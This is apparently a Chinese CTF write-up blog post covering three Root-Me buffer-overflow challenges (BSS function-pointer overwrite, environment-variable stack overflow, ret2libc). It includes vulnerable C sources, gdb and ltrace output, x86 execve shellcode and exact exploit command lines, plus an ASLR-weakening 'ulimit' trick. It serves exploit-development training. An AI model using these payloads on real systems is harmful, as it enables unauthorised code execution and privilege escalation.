Root-me-App-System02

练习还是要保持呀

ELF x86 - BSS buffer overflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
char username[512] = {1};
void (*_atexit)(int) = exit;
void cp_username(char *name, const char *arg)
{
while((*(name++) = *(arg++)));
*name = 0;
}
int main(int argc, char **argv)
{
if(argc != 2)
{
printf("[-] Usage : %s <username>\n", argv[0]);
exit(0);
}
cp_username(username, argv[1]);
printf("[+] Running program with username : %s\n", username);
_atexit(0);
return 0;
}

很显然,username处存在溢出,然后可以看到,在这个变量的下方,定义了一个函数指针,我们可以通过覆盖这个函数指针,让程序最后执行这个函数的时候,变成执行shellcode。

1
`python -c "print 'a'*512 + '\x44\xa2\x04\x08\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'"`

ELF x86 - Stack buffer overflow basic 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <stdio.h>
#include <stdlib.h>
#include <dirent.h>
#include <string.h>
struct EnvInfo
{
char home[128];
char username[128];
char shell[128];
char path[128];
};
struct EnvInfo GetEnv(void)
{
struct EnvInfo env;
char *ptr;
if((ptr = getenv("HOME")) == NULL)
{
printf("[-] Can't find HOME.\n");
exit(0);
}
strcpy(env.home, ptr);
if((ptr = getenv("USERNAME")) == NULL)
{
printf("[-] Can't find USERNAME.\n");
exit(0);
}
strcpy(env.username, ptr);
if((ptr = getenv("SHELL")) == NULL)
{
printf("[-] Can't find SHELL.\n");
exit(0);
}
strcpy(env.shell, ptr);
if((ptr = getenv("PATH")) == NULL)
{
printf("[-] Can't find PATH.\n");
exit(0);
}
strcpy(env.path, ptr);
return env;
}
int main(void)
{
struct EnvInfo env;
printf("[+] Getting env...\n");
env = GetEnv();
printf("HOME = %s\n", env.home);
printf("USERNAME = %s\n", env.username);
printf("SHELL = %s\n", env.shell);
printf("PATH = %s\n", env.path);
return 0;
}

一如既往的没有开防护。这个题目牵扯到环境变量,有点麻烦。观察可以知道,这里的strcpy存在漏洞:

1
2
3
4
5
6
if((ptr = getenv("PATH")) == NULL)
{
printf("[-] Can't find PATH.\n");
exit(0);
}
strcpy(env.path, ptr);

这个env直接是以变量的形式存放在栈中,这样的话如果ptr所指向的字符串地址过大的话,那么此时函数的返回值地址就会被修改成我们指定的地址。

1
2
3
4
5
6
app-systeme-ch8@challenge02:~$ env | grep SHELL
SHELL=/bin/bash
app-systeme-ch8@challenge02:~$ env | grep PATH
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/
NODE_PATH=/usr/lib/nodejs:/usr/lib/node_modules:/usr/share/javascript
app-systeme-ch8@challenge02:~$

这里可以知道,这个PATH变量中的字符串长度为109。我们这里可以使用export指令对当前的环境变量进行设置,我调试的时候开了tmux,所以PATH长度多了一点,不过只要计算一下即可。于是能够想到这个题目的攻击思路:

1
2
3
+------------------------+ +---------------+ +---------------+
| 往USERNAME写入shellcode | ---> | 修改返回值地址 | ---> | 跳转至USERNAME |
+------------------------+ +---------------+ +---------------+

加上没有打开ASLR,所以应该很简单(吗?)

调试的技巧

这个题目虽然非常的简单,但是其调试起来很麻烦,因为我们使用gdb的时候,环境变量发生了一点变化,导致当前栈的位置和直接运行的时候有所差异。比如说,在gdb调试模式下,我们能够看到我们的返回值地址如下:

1
2
3
4
5
0xbffff730: 0x63656863 0x6365736b 0x0000002f 0xb7e87924
0xbffff740: 0xb7fcfac0 0x0000000a 0x00000012 0xbffffe2c
0xbffff750: 0xbffffb98 0xb7ff2630 0xbffffbd4 0xb7fcf000
0xbffff760: 0x00000000 0x00000000 0xbffffb98 0x08048679 <----返回值地址
0xbffff770: 0xbffff780 0x00000007 0x001aa1d0 0x001ab1d0

但是实际上,经过我的测试,返回值地址在实际运行时候的地址变成了0xbffff78c,两者之间存在差异。虽说返回值可能不受影响,但是为了保证我们能够跳转到USERNAME的地址上,我们需要知道当前栈中地址的变化,或者说至少知道USERNAME的起始地址
这里就要提到一个工具叫做ltrace:

  • 用于跟踪进程调用库函数的情况
  • 可以真实反应当前进程中的程序地址

ltrace可以通过跟不同的参数,显示此时使用的系统调用,花费时间等等。这里暂且介绍其观察调用进程的功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app-systeme-ch8@challenge02:~$ ltrace ./ch8
__libc_start_main(0x8048648, 1, 0xbffffc64, 0x8048720 <unfinished ...>
puts("[+] Getting env..."[+] Getting env...
) = 19
getenv("HOME") = "/challenge/app-systeme/ch8"
strcpy(0xbffff56c, "/challenge/app-systeme/ch8") = 0xbffff56c
getenv("USERNAME") = "aaa"
strcpy(0xbffff5ec, "aaa") = 0xbffff5ec
getenv("SHELL") = "/bin/bash"
strcpy(0xbffff66c, "/bin/bash") = 0xbffff66c
getenv("PATH") = "/usr/local/sbin:/usr/local/bin:/"...
strcpy(0xbffff6ec, "/usr/local/sbin:/usr/local/bin:/"...) = 0xbffff6ec
printf("HOME = %s\n", "/challenge/app-systeme/ch8"HOME = /challenge/app-systeme/ch8
) = 38
printf("USERNAME = %s\n", "aaa"USERNAME = aaa
) = 15
printf("SHELL = %s\n", "/bin/bash"SHELL = /bin/bash
) = 21
printf("PATH = %s\n", "/usr/local/sbin:/usr/local/bin:/"...PATH = /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/
) = 121

可以看到,这里把各个参数的调用地址都写了出来,此时我们就能够知道,在当前环境变量下,各个变量的栈中地址

接下来,我们尝试设置我们的环境变量

1
2
export USERNAME=`python -c "print '\x31\xc9\xf7\xe1\x51\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\xb0\x0b\xcd\x80'"`
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/:/opt/tools/checksec/:`python -c "print 'a'*29 + '\x9c\xf5\xff\xbf\x10\xf0\xff\xbf'"`

这里注意一个坑点:由于环境变量字符串结尾有\0,导致我们修改返回地址的时候,本来传入的参数地址会被我们修改:

1
2
3
4
5
6
7
8
0xbffff730: 0x63656863 0x6365736b 0x0000002f 0xb7e87924
0xbffff740: 0xb7fcfac0 0x0000000a 0x00000012 0xbffffe2c
0xbffff750: 0xbffffb98 0xb7ff2630 0xbffffbd4 0xb7fcf000
0xbffff760: 0x00000000 0x00000000 0xbffffb98 0x08048679 <----返回值地址
0xbffff770: 0xbffff780 0x00000007 0x001aa1d0 0x001ab1d0
^
|
+------------------------------------------------------- 修改返回地址后,最低位会被我们修改成0

然后,我们会看到,程序中有一段的逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:080485C5 mov eax, [ebp+8]
.text:080485C8 lea edx, [ebp+env]
.text:080485CE mov ebx, 200h
.text:080485D3 mov ecx, eax
.text:080485D5 and ecx, 1
.text:080485D8 test ecx, ecx
.text:080485DA jz short loc_80485EA
...
.text:08048602 mov ecx, ebx
.text:08048604 shr ecx, 2
.text:08048607 mov edi, eax
.text:08048609 mov esi, edx
.text:0804860B rep movsd; qmemcpy(v1, v2, 4 * (size >> 2));

这段逻辑会取出这个参数,并且进行数据拷贝。这个时候,由于我们把参数的最低8bit置为0,会导致复制的过程中,将我们原有的返回值地址给修改了:

如上图,此时指针依然会写入Env这么大的数据,但是我们此时并没有给其留足空间,会导致我们的返回值也被修改

所以这里为了保证其参数不出意外,我们可以主动指定一个地址填充过去(例如0xbffff100,这个位置可写并且不会影响到当前栈),从而保证返回值地址不会被覆盖。

ELF x86 - Stack buffer overflow basic 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <string.h>
int main (int argc, char ** argv){
char message[20];
if (argc != 2){
printf ("Usage: %s <message>\n", argv[0]);
return -1;
}
strcpy (message, argv[1]);
printf ("Your message: %s\n", message);
return 0;
}

这个题目比较接近比赛的第一题了。首先防护,其打开了NX,那么我们就不能通过往栈中写入shellcode进行攻击了。于是这个题目就变成了很经典的ret2libc(虽然有别的做法),然而发现,其没有开ASLR,并且传参的又开始使用argv。。。所以又变得有点不太好。。

主要就是在调试的时候,使用gdb直接查看到libc中system的地址,并且根据运算,查看对应的/bin/sh的地址即可。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gdb$ info proc all
process 5436
warning: target file /proc/5436/cmdline contained unexpected null characters
cmdline = '/challenge/app-systeme/ch33/ch33'
cwd = '/challenge/app-systeme/ch33'
exe = '/challenge/app-systeme/ch33/ch33'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /challenge/app-systeme/ch33/ch33
0x8049000 0x804a000 0x1000 0x0 /challenge/app-systeme/ch33/ch33
0x804a000 0x804b000 0x1000 0x1000 /challenge/app-systeme/ch33/ch33
0xb7e21000 0xb7e22000 0x1000 0x0
0xb7e22000 0xb7fcd000 0x1ab000 0x0 /lib/i386-linux-gnu/libc-2.19.so
0xb7fcd000 0xb7fcf000 0x2000 0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fcf000 0xb7fd0000 0x1000 0x1ac000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fd0000 0xb7fd3000 0x3000 0x0
0xb7fdb000 0xb7fdd000 0x2000 0x0
0xb7fdd000 0xb7fde000 0x1000 0x0 [vdso]
0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so

然而不知道为啥。。。我看到答案上都是直接起shell就能够拿到flag。。。我这边起了shell也不行呀,非得构造个/bin/dash。所以这里我直接利用了环境变量:

1
export MYSHELL=/bin/dash

之后利用gdb大概找到这个字符串所在的位置

1
2
0xbfffff49: "LOGNAME=app-systeme-ch33"
0xbfffff62: "MYSHELL=/bin/dash"

可以定位到,这个/bin/dash地址为0xbfffff6a,但是实际运行的时候,发现这个地方依然不是/bin/dash。。。于是只能暴力测试。。得到了字符串地址为0xbfffff7b

1
./ch33 `python -c 'print "a"*32 + "\x10\x23\xe6\xb7"+"b"*4+"\x7b\xff\xff\xbf"'`

后来出现了神奇的现象。。在我成功做出了答案之后,直接使用/bin/sh也能够得到答案了神奇。。。

排名第一的答案再次学习了新的姿势:

1
ulimit -s unlimited

ulimit这个指令的作用是改变linux下对资源的限制。-s unlimited意味着让整个堆栈限制解除。这个地方一旦解除了栈的限制,整个libc映射都不会发生变化:
ASLR漏洞
这个时候再使用gdb调试找到对应的地址就很容易了。之后的思路就和我们利用思路一致,直接修改返回值即可。